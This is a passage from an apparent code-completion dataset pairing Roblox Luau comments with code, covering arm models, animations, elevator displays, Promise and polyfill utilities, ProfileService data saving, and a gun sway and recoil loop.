\"Admin\";\n};\n\n\n\n\n\n\n\n\n};\n"} +{"prompt": "--------------------[ ARM CREATION FUNCTION ]-----------------------------------------", "completion": "\n\nfunction CreateArms()\n\tlocal Arms = {}\n\tfor i = 0, 1 do\n\t\tlocal ArmModel = Instance.new(\"Model\")\n\t\tArmModel.Name = \"ArmModel\"\n\t\t\n\t\tlocal Arm = Instance.new(\"Part\")\n\t\tArm.BrickColor = (S.FakeArmRealBodyColor and (i == 0 and LArm.BrickColor or RArm.BrickColor) or S.FakeArmColor)\n\t\tArm.Transparency = S.FakeArmTransparency\n\t\tArm.Name = \"Arm\"\n\t\tArm.CanCollide = false\n\t\tArm.Size = VEC3(1, 2, 1)\n\t\tArm.Parent = ArmModel\n\t\tlocal ArmMesh = Instance.new(\"SpecialMesh\")\n\t\tArmMesh.MeshId = \"rbxasset://fonts//rightarm.mesh\"\n\t\tArmMesh.MeshType = Enum.MeshType.FileMesh\n\t\tArmMesh.Scale = VEC3(0.65, 1, 0.65)\n\t\tArmMesh.Parent = Arm\n\t\t\n\t\tlocal Sleeve1 = Instance.new(\"Part\")\n\t\tSleeve1.BrickColor = BrickColor.new(\"Sand green\")\n\t\tSleeve1.Name = \"Sleeve1\"\n\t\tSleeve1.CanCollide = false\n\t\tSleeve1.Size = VEC3(1, 2, 1)\n\t\tSleeve1.Parent = ArmModel\n\t\tlocal Sleeve1Mesh = Instance.new(\"BlockMesh\")\n\t\tSleeve1Mesh.Offset = VEC3(0, 0.66, 0)\n\t\tSleeve1Mesh.Scale = VEC3(0.656, 0.35, 0.656)\n\t\tSleeve1Mesh.Parent = Sleeve1\n\t\tlocal Sleeve1Weld = Instance.new(\"Weld\")\n\t\tSleeve1Weld.Part0 = Arm\n\t\tSleeve1Weld.Part1 = Sleeve1\n\t\tSleeve1Weld.Parent = Arm\n\t\t\n\t\tlocal Sleeve2 = Instance.new(\"Part\")\n\t\tSleeve2.BrickColor = BrickColor.new(\"Sand green\")\n\t\tSleeve2.Name = \"Sleeve2\"\n\t\tSleeve2.CanCollide = false\n\t\tSleeve2.Size = VEC3(1, 2, 1)\n\t\tSleeve2.Parent = ArmModel\n\t\tlocal Sleeve2Mesh = Instance.new(\"BlockMesh\")\n\t\tSleeve2Mesh.Offset = VEC3(0, 0.46, 0)\n\t\tSleeve2Mesh.Scale = VEC3(0.75, 0.1, 0.75)\n\t\tSleeve2Mesh.Parent = Sleeve2\n\t\tlocal Sleeve2Weld = Instance.new(\"Weld\")\n\t\tSleeve2Weld.Part0 = Arm\n\t\tSleeve2Weld.Part1 = Sleeve2\n\t\tSleeve2Weld.Parent = Arm\n\t\t\n\t\tlocal Glove1 = Instance.new(\"Part\")\n\t\tGlove1.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove1.Name = \"Glove1\"\n\t\tGlove1.CanCollide = false\n\t\tGlove1.Size = VEC3(1, 2, 1)\n\t\tGlove1.Parent = ArmModel\n\t\tlocal Glove1Mesh = Instance.new(\"BlockMesh\")\n\t\tGlove1Mesh.Offset = VEC3(0, -0.4, 0)\n\t\tGlove1Mesh.Scale = VEC3(0.657, 0.205, 0.657)\n\t\tGlove1Mesh.Parent = Glove1\n\t\tlocal Glove1Weld = Instance.new(\"Weld\")\n\t\tGlove1Weld.Part0 = Arm\n\t\tGlove1Weld.Part1 = Glove1\n\t\tGlove1Weld.Parent = Arm\n\t\t\n\t\tlocal Glove2 = Instance.new(\"Part\")\n\t\tGlove2.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove2.Name = \"Glove2\"\n\t\tGlove2.CanCollide = false\n\t\tGlove2.Size = VEC3(1, 2, 1)\n\t\tGlove2.Parent = ArmModel\n\t\tlocal Glove2Mesh = Instance.new(\"BlockMesh\")\n\t\tGlove2Mesh.Offset = VEC3(0, -0.335, 0)\n\t\tGlove2Mesh.Scale = VEC3(0.69, 0.105, 0.69)\n\t\tGlove2Mesh.Parent = Glove2\n\t\tlocal Glove2Weld = Instance.new(\"Weld\")\n\t\tGlove2Weld.Part0 = Arm\n\t\tGlove2Weld.Part1 = Glove2\n\t\tGlove2Weld.Parent = Arm\n\t\t\n\t\tlocal Glove3 = Instance.new(\"Part\")\n\t\tGlove3.BrickColor = BrickColor.new(\"Black\")\n\t\tGlove3.Name = \"Glove3\"\n\t\tGlove3.CanCollide = false\n\t\tGlove3.Size = VEC3(1, 2, 1)\n\t\tGlove3.Parent = ArmModel\n\t\tlocal Glove3Mesh = Instance.new(\"BlockMesh\")\n\t\tGlove3Mesh.Offset = VEC3(0.2 * ((i * 2) - 1), -0.8, 0)\n\t\tGlove3Mesh.Scale = VEC3(0.257, 0.205, 0.657)\n\t\tGlove3Mesh.Parent = Glove3\n\t\tlocal Glove3Weld = Instance.new(\"Weld\")\n\t\tGlove3Weld.Part0 = Arm\n\t\tGlove3Weld.Part1 = Glove3\n\t\tGlove3Weld.Parent = Arm\n\t\t\n\t\ttable.insert(Arms, {Model = ArmModel, ArmPart = Arm})\n\tend\n\treturn Arms\nend\n"} +{"prompt": "-- note: JS version can return anything that's truthy, but that won't work for us since Lua deviates (0 is truthy)", "completion": "\ntype callbackFn = (element: T, index: number, array: Array) -> boolean\ntype callbackFnWithThisArg = (thisArg: U, element: T, index: number, array: Array) -> boolean\n"} +{"prompt": "--\t\tprint(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\t\tlocal anim = animTable[animName][idx].anim\n\n\t\tif (toolAnimInstance ~= anim) then\n\t\t\t\n\t\t\tif (toolAnimTrack ~= nil) then\n\t\t\t\ttoolAnimTrack:Stop()\n\t\t\t\ttoolAnimTrack:Destroy()\n\t\t\t\ttransitionTime = 0\n\t\t\tend\n\t\t\t\t\t\n\t\t\t-- load it to the humanoid; get AnimationTrack\n\t\t\ttoolAnimTrack = Figure.AnimationController:LoadAnimation(anim)\n\t\t\t \n\t\t\t-- play the animation\n\t\t\ttoolAnimTrack:Play(transitionTime)\n\t\t\ttoolAnimName = animName\n\t\t\ttoolAnimInstance = anim\n\n\t\t\tcurrentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)\n\t\tend\nend\n\nfunction stopToolAnimations()\n\tlocal oldAnim = toolAnimName\n\n\tif (currentToolAnimKeyframeHandler ~= nil) then\n\t\tcurrentToolAnimKeyframeHandler:disconnect()\n\tend\n\n\ttoolAnimName = \"\"\n\ttoolAnimInstance = nil\n\tif (toolAnimTrack ~= nil) then\n\t\ttoolAnimTrack:Stop()\n\t\ttoolAnimTrack:Destroy()\n\t\ttoolAnimTrack = nil\n\tend\n\n\n\treturn oldAnim\nend\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name)]\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.027)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, -0.004, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tif CHAR == \"M\" or CHAR == \"W\" then\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.004, 0.001, 0.005)\n\t\telse\n\t\t\tThis[\"L\"..ID].Mesh.Scale = Vector3.new(0.005, 0.001, 0.005)\n\t\tend\n\tend\nend\n\n\nif CustomLabel then\n\tChangeFloor(CustomLabel)\nelse\n\tChangeFloor(Btn.Name)\nend\n\nscript:Destroy()\n"} +{"prompt": "--[=[\n\tUse to test that the bottom padding between the given GuiObject or Rect and the other GuiObject or Rect.\n\n\tThe last argument is optional. If nil, the matcher will pass only if the difference **bottom** edge of the given GuiObject or Rect and the **bottom** edge of the other GuiObject or Rect is zero or positive.\n\n\t```lua\n\t-- Jest\n\texpect(instanceA).toBeInsideAbove(instanceB)\n\texpect(instanceA).toBeInsideAbove(instanceB, 10)\n\texpect(instanceA).toBeInsideAbove(instanceB, NumberRange.new(0, 10))\n\t```\n\n\t```lua\n\t-- TestEZ\n\texpect(instanceA).to.be.insideAbove(instanceB)\n\texpect(instanceA).to.be.insideAbove(instanceB, 10)\n\texpect(instanceA).to.be.insideAbove(instanceB, NumberRange.new(0, 10))\n\t```\n\n\t@tag inside\n\t@within CollisionMatchers2D\n]=]", "completion": "\nlocal function insideAbove(a: GuiObject | Rect, b: GuiObject | Rect, distance: number | NumberRange)\n\tlocal aRect = toRect(a)\n\tlocal bRect = toRect(b)\n\n\tlocal distanceFromSide = -(aRect.Max - bRect.Max)\n\tif distance then\n\t\tif typeof(distance) == \"number\" then\n\t\t\tdistance = NumberRange.new(distance)\n\t\tend\n\n\t\treturn returnValue(\n\t\t\tdistance.Min <= distanceFromSide.Y and distance.Max >= distanceFromSide.Y,\n\t\t\t\"Was within range\",\n\t\t\t\"Was not within range ( \" .. tostring(distance) .. \")\"\n\t\t)\n\telse\n\t\treturn returnValue(distanceFromSide.Y >= 0, \"Was not below the element\", \"Was too far below the element\")\n\tend\nend\n\nreturn insideAbove\n"} +{"prompt": "--[ FUNCTION ]-", "completion": "\n\nfunction updateMusic()\n\tlocal id = string.gsub(music.SoundId, \"rbxassetid://\", \"\")\n\tlocal success, info = pcall(mps.GetProductInfo, mps, id)\n\tif success then\n\t\tFrame:TweenPosition(UDim2.new(0.288, 0, 0.026, 0),\"Out\",\"Quad\",.5,true) -- changing it to in\n\t\tscript.Parent.Text = \"Now Playing : \" .. info.Name -- changing name\n\n\t\twait(5) -- wait to close it\n\n\t\tFrame:TweenPosition(UDim2.new(0.288, 0,-1, 0),\"In\",\"Quad\",.5,true) -- changing it to in\n\tend\nend\n\n\nupdateMusic()\n\n\nmusic:GetPropertyChangedSignal(\"SoundId\"):Connect(updateMusic)\n\n"} +{"prompt": "--------------------\n--| Script Logic |--\n--------------------", "completion": "\n\nSwooshSound:Play()\n\nRocket.Touched:Connect(OnTouched)\n"} +{"prompt": "--[[\n\tCalls awaitStatus internally, returns (isResolved, values...)\n]]", "completion": "\nfunction Promise.prototype:await()\n\treturn awaitHelper(self:awaitStatus())\nend\n\nlocal function expectHelper(status, ...)\n\tif status ~= Promise.Status.Resolved then\n\t\terror((...) == nil and \"Expected Promise rejected with no value.\" or (...), 3)\n\tend\n\n\treturn ...\nend\n"} +{"prompt": "-- ROBLOX TODO: Object here is a stand-in for Map and Set, use those when we extract type-only files", "completion": "\nreturn function(value: string | Array | Object, mapFn: (mapFn | mapFnWithThisArg)?, thisArg: Object?): Array\n\tif not Set then\n\t\tSet = (require(LuauPolyfill).Set :: any)\n\tend\n\n\tif not Map then\n\t\tMap = (require(LuauPolyfill).Map :: any)\n\tend\n\n\tif value == nil then\n\t\terror(\"cannot create array from a nil value\")\n\tend\n\tlocal valueType = typeof(value)\n\n\tlocal array = {}\n\n\tif valueType == \"table\" and isArray(value) then\n\t\tif mapFn then\n\t\t\tfor i = 1, #(value :: Array) do\n\t\t\t\tif thisArg ~= nil then\n\t\t\t\t\tarray[i] = (mapFn :: mapFnWithThisArg)(thisArg, (value :: Array)[i], i)\n\t\t\t\telse\n\t\t\t\t\tarray[i] = (mapFn :: mapFn)((value :: Array)[i], i)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i = 1, #(value :: Array) do\n\t\t\t\tarray[i] = (value :: Array)[i]\n\t\t\tend\n\t\tend\n\telseif instanceof(value, Set) then\n\t\tif mapFn then\n\t\t\tfor i, v in (value :: any):ipairs() do\n\t\t\t\tif thisArg ~= nil then\n\t\t\t\t\tarray[i] = (mapFn :: mapFnWithThisArg)(thisArg, v, i)\n\t\t\t\telse\n\t\t\t\t\tarray[i] = (mapFn :: mapFn)(v, i)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i, v in (value :: any):ipairs() do\n\t\t\t\tarray[i] = v\n\t\t\tend\n\t\tend\n\telseif instanceof(value, Map) then\n\t\tif mapFn then\n\t\t\tfor i, v in (value :: any):ipairs() do\n\t\t\t\tif thisArg ~= nil then\n\t\t\t\t\tarray[i] = (mapFn :: mapFnWithThisArg)(thisArg, v, i)\n\t\t\t\telse\n\t\t\t\t\tarray[i] = (mapFn :: mapFn)(v, i)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i, v in (value :: any):ipairs() do\n\t\t\t\tarray[i] = v\n\t\t\tend\n\t\tend\n\telseif valueType == \"string\" then\n\t\tif mapFn then\n\t\t\tfor i = 1, (value :: string):len() do\n\t\t\t\tif thisArg ~= nil then\n\t\t\t\t\tarray[i] = (mapFn :: mapFnWithThisArg)(thisArg, (value :: any):sub(i, i), i)\n\t\t\t\telse\n\t\t\t\t\tarray[i] = (mapFn :: mapFn)((value :: any):sub(i, i), i)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfor i = 1, (value :: string):len() do\n\t\t\t\tarray[i] = (value :: any):sub(i, i)\n\t\t\tend\n\t\tend\n\tend\n\n\treturn array\nend\n"} +{"prompt": "-- Saves profile card information for next time", "completion": "\nPlayers.PlayerRemoving:Connect(function(player)\n\tlocal statusSuccess, statusError = pcall(function()\n\t\tStatuses:SetAsync(player.UserId, player:GetAttribute(\"status\"))\n\tend)\n\tif statusSuccess then\n\t\tprint(\"Status successfully updated!\")\n\telse\n\t\tprint(player, statusError)\n\tend\nend)\n"} +{"prompt": "-- Probably a bit unorthodox, but hey, it works", "completion": "\n\nDefaultX = 1304\nCauses = 534\n\nlocal Change = script.Parent.Parent\nlocal LastChange = tick()\n\nfunction Size()\n\trepeat wait() until Change.Parent.AbsoluteSize.X ~= 0\n\tLastChange = tick()\n\tlocal ResolutionX = Change.Parent.AbsoluteSize.X\n\tlocal x = ResolutionX / DefaultX\n\tlocal z = x * Causes\n\tlocal y = z / Causes\n\n\tlocal Percentage = Change.AbsoluteSize.X / ResolutionX\n\tscript.Parent.Scale = y\nend\n\nChange.Changed:connect(function()\n\tif tick() - LastChange > 0.1 then\n\t\tSize()\n\tend\nend)\n\nSize()\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\n\tlocal function Start()\n\n\tend\n\t\n\tlocal function Update()\n\n\tend\n\t\n\tlocal function Stop()\n\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\nThis.Floor.Position = UDim2.new(0.25,0,0,0)\nThis.Direction.Text = \">\"\nwait(0.25)\nThis.Direction.Text = \"->\"\nwait(0.25)\nThis.Direction.Text = \"-->\"\nwait(0.25)\nThis.Direction.Text = \"<\"\nwait(0.25)\nThis.Direction.Text = \"<-\"\nwait(0.25)\nThis.Direction.Text = \"<--\"\nwait(0.25)\nThis.Direction.Text = \"SYSTEM READY\"\nwait(5)\nThis.Floor.Position = UDim2.new(0.125,0,0,0)\nThis.Direction.Text = \"\"\nwhile wait() do\n\tif Lift:WaitForChild(\"Direction\").Value ~= 0 then \n\t\tif Lift:WaitForChild(\"Velocity\").Value == 0 then\n\t\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\tThis.Floor.Position = UDim2.new(0.25,0,0,0)\n\t\t\t\tThis.Direction.Text = \"-->\"\n\t\t\telse\n\t\t\t\tThis.Floor.Position = UDim2.new(0.25,0,0,0)\n\t\t\t\tThis.Direction.Text = \"<--\"\n\t\t\tend\n\t\telseif Lift:WaitForChild(\"Velocity\").Value ~= 0 then\n\t\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\t\tThis.Floor.Position = UDim2.new(0.25,0,0,0)\n\t\t\t\tThis.Direction.Text = \">\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"->\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"-->\"\n\t\t\t\twait(0.25)\n\t\t\telse\n\t\t\t\tThis.Floor.Position = UDim2.new(0.25,0,0,0)\n\t\t\t\tThis.Direction.Text = \"<\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"<-\"\n\t\t\t\twait(0.25)\n\t\t\t\tThis.Direction.Text = \"<--\"\n\t\t\t\twait(0.25)\n\t\t\tend\n\t\tend\n\telse\n\t\tThis.Floor.Position = UDim2.new(0.125,0,0,0)\n\t\tThis.Direction.Text = \"\"\n\tend\nend\n"} +{"prompt": "----- Private functions -----", "completion": "\n\nlocal function IdentifyProfile(store_name, store_scope, key)\n\treturn string.format(\n\t\t\"[Store:\\\"%s\\\";%sKey:\\\"%s\\\"]\",\n\t\tstore_name,\n\t\tstore_scope ~= nil and string.format(\"Scope:\\\"%s\\\";\", store_scope) or \"\",\n\t\tkey\n\t)\nend\n\nlocal function CustomWriteQueueCleanup(store, key)\n\tif CustomWriteQueue[store] ~= nil then\n\t\tCustomWriteQueue[store][key] = nil\n\t\tif next(CustomWriteQueue[store]) == nil then\n\t\t\tCustomWriteQueue[store] = nil\n\t\tend\n\tend\nend\n\nlocal function CustomWriteQueueMarkForCleanup(store, key)\n\tif CustomWriteQueue[store] ~= nil then\n\t\tif CustomWriteQueue[store][key] ~= nil then\n\n\t\t\tlocal queue_data = CustomWriteQueue[store][key]\n\t\t\tlocal queue = queue_data.Queue\n\n\t\t\tif queue_data.CleanupJob == nil then\n\n\t\t\t\tqueue_data.CleanupJob = RunService.Heartbeat:Connect(function()\n\t\t\t\t\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then\n\t\t\t\t\t\tqueue_data.CleanupJob:Disconnect()\n\t\t\t\t\t\tCustomWriteQueueCleanup(store, key)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\tend\n\n\t\telseif next(CustomWriteQueue[store]) == nil then\n\t\t\tCustomWriteQueue[store] = nil\n\t\tend\n\tend\nend\n\nlocal function CustomWriteQueueAsync(callback, store, key) --> ... -- Passed return from callback\n\n\tif CustomWriteQueue[store] == nil then\n\t\tCustomWriteQueue[store] = {}\n\tend\n\tif CustomWriteQueue[store][key] == nil then\n\t\tCustomWriteQueue[store][key] = {LastWrite = 0, Queue = {}, CleanupJob = nil}\n\tend\n\n\tlocal queue_data = CustomWriteQueue[store][key]\n\tlocal queue = queue_data.Queue\n\n\t-- Cleanup job:\n\n\tif queue_data.CleanupJob ~= nil then\n\t\tqueue_data.CleanupJob:Disconnect()\n\t\tqueue_data.CleanupJob = nil\n\tend\n\n\t-- Queue logic:\n\n\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and #queue == 0 then\n\t\tqueue_data.LastWrite = os.clock()\n\t\treturn callback()\n\telse\n\t\ttable.insert(queue, callback)\n\t\twhile true do\n\t\t\tif os.clock() - queue_data.LastWrite > SETTINGS.RobloxWriteCooldown and queue[1] == callback then\n\t\t\t\ttable.remove(queue, 1)\n\t\t\t\tqueue_data.LastWrite = os.clock()\n\t\t\t\treturn callback()\n\t\t\tend\n\t\t\tMadwork.HeartbeatWait()\n\t\tend\n\tend\n\nend\n\nlocal function IsCustomWriteQueueEmptyFor(store, key) --> is_empty [bool]\n\tlocal lookup = CustomWriteQueue[store]\n\tif lookup ~= nil then\n\t\tlookup = lookup[key]\n\t\treturn lookup == nil or #lookup.Queue == 0\n\tend\n\treturn true\nend\n\nlocal function WaitForLiveAccessCheck() -- This function was created to prevent the ProfileService module yielding execution when required\n\twhile IsLiveCheckActive == true do\n\t\tMadwork.HeartbeatWait()\n\tend\nend\n\nlocal function WaitForPendingProfileStore(profile_store)\n\twhile profile_store._is_pending == true do\n\t\tMadwork.HeartbeatWait()\n\tend\nend\n\nlocal function RegisterIssue(error_message, store_name, store_scope, profile_key) -- Called when a DataStore API call errors\n\twarn(\"[ProfileService]: DataStore API error \" .. IdentifyProfile(store_name, store_scope, profile_key) .. \" - \\\"\" .. tostring(error_message) .. \"\\\"\")\n\ttable.insert(IssueQueue, os.clock()) -- Adding issue time to queue\n\tProfileService.IssueSignal:Fire(tostring(error_message), store_name, profile_key)\nend\n\nlocal function RegisterCorruption(store_name, store_scope, profile_key) -- Called when a corrupted profile is loaded\n\twarn(\"[ProfileService]: Resolved profile corruption \" .. IdentifyProfile(store_name, store_scope, profile_key))\n\tProfileService.CorruptionSignal:Fire(store_name, profile_key)\nend\n\nlocal function MockUpdateAsync(mock_data_store, profile_store_name, key, transform_function)\n\tlocal profile_store = mock_data_store[profile_store_name]\n\tif profile_store == nil then\n\t\tprofile_store = {}\n\t\tmock_data_store[profile_store_name] = profile_store\n\tend\n\tlocal transform = transform_function(profile_store[key])\n\tif transform == nil then\n\t\treturn nil\n\telse\n\t\tprofile_store[key] = DeepCopyTable(transform)\n\t\treturn DeepCopyTable(profile_store[key])\n\tend\nend\n\nlocal function IsThisSession(session_tag)\n\treturn session_tag[1] == PlaceId and session_tag[2] == JobId\nend\n"} +{"prompt": "--// Renders", "completion": "\nlocal L_161_\n\nL_103_:connect(function()\n\tif L_15_ then\n\t\tL_156_, L_157_ = L_156_ or 0, L_157_ or 0\n\t\tif L_159_ == nil or L_158_ == nil then\n\t\t\tL_159_ = L_45_.C0\n\t\t\tL_158_ = L_45_.C1\n\t\tend\n\t\t\n\t\tlocal L_271_ = (math.sin(L_150_ * L_152_ / 2) * L_151_)\n\t\tlocal L_272_ = (math.sin(L_150_ * L_152_) * L_151_)\n\t\tlocal L_273_ = CFrame.new(L_271_, L_272_, 0.02)\n\t\t\t\t\n\t\t\n\t\tlocal L_274_ = (math.sin(L_146_ * L_149_ / 2) * L_148_)\n\t\tlocal L_275_ = (math.cos(L_146_ * L_149_) * L_148_)\n\t\tlocal L_276_ = CFrame.new(L_274_, L_275_, 0.02)\n\t\t\n\t\tif L_143_ then\n\t\t\tL_150_ = L_150_ + .017\n\t\t\tif L_24_.WalkAnimEnabled == true then\n\t\t\t\tL_144_ = L_273_\n\t\t\telse\n\t\t\t\tL_144_ = CFrame.new()\n\t\t\tend\n\t\telse\n\t\t\tL_150_ = 0\n\t\t\tL_144_ = CFrame.new()\n\t\tend\n\t\t\n\t\tL_142_.t = Vector3.new(L_137_, L_138_, 0)\n\t\tlocal L_277_ = L_142_.p\n\t\tlocal L_278_ = L_277_.X / L_139_ * (L_61_ and L_141_ or L_140_)\n\t\tlocal L_279_ = L_277_.Y / L_139_ * (L_61_ and L_141_ or L_140_)\n\t\t\n\t\tL_5_.CFrame = L_5_.CFrame:lerp(L_5_.CFrame * L_145_, 0.2)\n\t\t\n\t\tif L_61_ then\n\t\t\tL_133_ = CFrame.Angles(math.rad(-L_278_), math.rad(L_278_), math.rad(L_279_)) * CFrame.fromAxisAngle(Vector3.new(5, 0, -1), math.rad(L_278_))\t\n\t\t\tL_146_ = 0\n\t\t\tL_147_ = CFrame.new()\n\t\telseif not L_61_ then\n\t\t\tL_133_ = CFrame.Angles(math.rad(-L_279_), math.rad(-L_278_), math.rad(-L_278_)) * CFrame.fromAxisAngle(L_44_.Position, math.rad(-L_279_))\n\t\t\tL_146_ = L_146_ + 0.017\t\t\t\n\t\t\tL_147_ = L_276_\n\t\tend\n\t\t\n\t\tif L_24_.SwayEnabled == true then\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_159_ * L_133_ * L_144_ * L_147_, 0.1)\n\t\telse\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_159_ * L_144_, 0.1)\n\t\tend\t\t\n\t\t\n\t\tif L_64_ and not L_67_ and L_69_ and not L_61_ and not L_63_ and not Shooting then\n\t\t\tL_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_24_.SprintPos, 0.1)\n\t\telseif not L_64_ and not L_67_ and not L_69_ and not L_61_ and not L_63_ and not Shooting and not L_76_ then\n\t\t\tL_45_.C1 = L_45_.C1:lerp(CFrame.new(), 0.1)\n\t\tend\n\t\t\n\t\tif L_61_ and not L_64_ then\n\t\t\tif not L_62_ then\n\t\t\t\tL_87_ = L_24_.AimCamRecoil\n\t\t\t\tL_86_ = L_24_.AimGunRecoil\n\t\t\t\tL_88_ = L_24_.AimKickback\n\t\t\telseif L_62_ then\n\t\t\t\tif L_90_ == 1 then\n\t\t\t\t\tL_87_ = L_24_.AimCamRecoil / 1.5\n\t\t\t\t\tL_86_ = L_24_.AimGunRecoil / 1.5\n\t\t\t\t\tL_88_ = L_24_.AimKickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_90_ == 2 then\n\t\t\t\t\tL_87_ = L_24_.AimCamRecoil / 2\n\t\t\t\t\tL_86_ = L_24_.AimGunRecoil / 2\n\t\t\t\t\tL_88_ = L_24_.AimKickback / 2\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_45_.C1 = L_45_.C1:lerp(L_45_.C0 * L_53_.CFrame:toObjectSpace(L_44_.CFrame), L_24_.AimSpeed)\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_104_.MouseDeltaSensitivity = L_51_\n\t\t\tend\n\t\telseif not L_61_ and not L_64_ and L_15_ and not L_76_ then\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 then\n\t\t\t\tL_45_.C1 = L_45_.C1:lerp(CFrame.new(), L_24_.UnaimSpeed)\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_104_.MouseDeltaSensitivity = L_52_\n\t\t\tend\t\n\t\t\t\n\t\t\tif not L_62_ then\n\t\t\t\tL_87_ = L_24_.camrecoil\n\t\t\t\tL_86_ = L_24_.gunrecoil\n\t\t\t\tL_88_ = L_24_.Kickback\n\t\t\telseif L_62_ then\n\t\t\t\tif L_90_ == 1 then\n\t\t\t\t\tL_87_ = L_24_.camrecoil / 1.5\n\t\t\t\t\tL_86_ = L_24_.gunrecoil / 1.5\n\t\t\t\t\tL_88_ = L_24_.Kickback / 1.5\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif L_90_ == 2 then\n\t\t\t\t\tL_87_ = L_24_.camrecoil / 2\n\t\t\t\t\tL_86_ = L_24_.gunrecoil / 2\n\t\t\t\t\tL_88_ = L_24_.Kickback / 2\n\t\t\t\tend\n\t\t\tend\t\n\t\tend\n\t\t\n\t\tif Recoiling then\n\t\t\tL_145_ = CFrame.Angles(L_87_, 0, 0)\t\n\t\t\t--cam.CoordinateFrame = cam.CoordinateFrame * CFrame.fromEulerAnglesXYZ(math.rad(camrecoil*math.random(0,3)), math.rad(camrecoil*math.random(-1,1)), math.rad(camrecoil*math.random(-1,1)))\n\t\t\tL_45_.C0 = L_45_.C0:lerp(L_45_.C0 * CFrame.new(0, 0, L_86_) * CFrame.Angles(-math.rad(L_88_), 0, 0), 0.3)\n\t\telseif not Recoiling then\t\n\t\t\tL_145_ = CFrame.Angles(0, 0, 0)\n\t\t\tL_45_.C0 = L_45_.C0:lerp(CFrame.new(), 0.2)\n\t\tend\n\t\t\n\t\tif L_62_ then\n\t\t\tL_3_:WaitForChild('Humanoid').Jump = false\n\t\tend\n\t\t\n\t\tif L_15_ then \n\t\t\tL_5_.FieldOfView = L_5_.FieldOfView * (1 - L_24_.ZoomSpeed) + (L_94_ * L_24_.ZoomSpeed)\n\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude >= 2 then\n\t\t\t\tL_87_ = L_24_.AimCamRecoil\n\t\t\t\tL_86_ = L_24_.AimGunRecoil\n\t\t\t\tL_88_ = L_24_.AimKickback\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = true\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_104_.MouseDeltaSensitivity = L_51_\n\t\t\telseif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude < 2 and not L_61_ and not L_62_ then\n\t\t\t\tL_87_ = L_24_.camrecoil\n\t\t\t\tL_86_ = L_24_.gunrecoil\n\t\t\t\tL_88_ = L_24_.Kickback\n\t\t\t\t\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Visible = false\n\t\t\t\tL_42_:WaitForChild('Sense'):WaitForChild('Sensitivity').Text = L_51_\n\t\t\t\tL_104_.MouseDeltaSensitivity = L_52_\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_15_ and L_24_.CameraGo then --and (char.Head.Position - cam.CoordinateFrame.p).magnitude < 2 then\n\t\t\tL_4_.TargetFilter = game.Workspace\n\t\t\tlocal L_280_ = L_3_:WaitForChild(\"HumanoidRootPart\").CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(L_3_:WaitForChild(\"Humanoid\").CameraOffset)\n\t\t\tL_48_.C0 = 